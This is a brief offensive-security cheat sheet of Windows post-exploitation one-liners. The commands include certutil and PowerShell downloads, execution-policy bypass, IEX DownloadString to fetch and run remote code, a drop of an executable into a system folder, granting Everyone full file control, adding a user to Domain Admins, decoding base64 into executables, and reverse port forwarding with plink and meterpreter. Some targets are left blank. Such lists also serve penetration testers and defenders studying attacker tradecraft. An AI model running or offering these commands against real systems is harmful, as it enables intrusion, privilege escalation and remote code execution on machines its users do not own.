99 Basic Command
Downloading files
Changing Permissions of a file
Adding user to Domain admins
Base64 Encode-Decode
Port Forwarding
// File Download
certutil.exe -urlcache -split -f http://ip/file file
Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"
// Powershell download
powershell.exe -exec bypass -command "Invoke-WebRequest '' -OutFile 'C:\windows\system32\spool\drivers\color\41020.exe'"
// Powershell remote execution
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString(''); Find-AllVulns -Command 'start powershell.exe'"
icacls text.txt /grant Everyone:F
Add-DomainGroupMember -Identity 'Domain Admins' -Members fkclai -Verbose
certutil -decode foo.b64 foo.exe
certutil -encode foo.exe foo.b64
# Port forward using plink
plink.exe -l morph3 -pw pass123 -R 8080:
# Port forward using meterpreter
portfwd add -l attacker-port -p victim-port -r victim-ip
portfwd add -l 3306 -p 3306 -r
Copy link